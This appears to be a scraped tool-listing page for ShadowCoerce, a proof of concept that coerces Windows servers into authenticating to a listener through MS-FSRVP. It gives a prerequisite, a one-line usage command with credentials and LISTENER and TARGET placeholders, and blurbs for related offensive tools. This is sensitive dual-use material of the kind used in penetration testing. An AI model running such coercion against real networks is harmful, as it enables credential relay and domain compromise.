MS-FSRVP coercion abuse PoC

Last update: Dec 28, 2022

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Security related resources ShadowCoerce

Overview

ShadowCoerce

MS-FSRVP coercion abuse PoC

Credits: Gilles LIONEL (a.k.a. Topotam) Source: https://twitter.com/topotam77/status/1475701014204461056

Explanation: https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-fsrvp

MS Docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b

"File Server VSS Agent Service" needs to be enabled on the target server.

shadowcoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET

In my tests, the coercion needed to be attempted twice in order to work when the FssAgent hadn't been requested in a while. TL;DR: run the command twice if it doesn't work.

Owner

Shutdown

GitHub Repository

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MS-FSRVP coercion abuse PoC

Related tags

Overview

ShadowCoerce

Owner

Shutdown

Dumping revelant information on compromised targets without AV detection

Coerce authentication from Windows hosts via MS-FSRVP (Requires FS-VSS-AGENT service running on host)

OLOP: One-Line & Obfuscated Python

A Feature Rich Modular Malware Configuration Extraction Utility for MalDuck

SPV SecurePasswordVerification

In this program, I generate the strong password from existing password without class using python. The special thing in this program is that is generate very strong password from our existing password. It replaces some elements from password and put another elements in it.

This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version.

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Steal Files on a Windows Machine

Searches through git repositories for high entropy strings and secrets, digging deep into commit history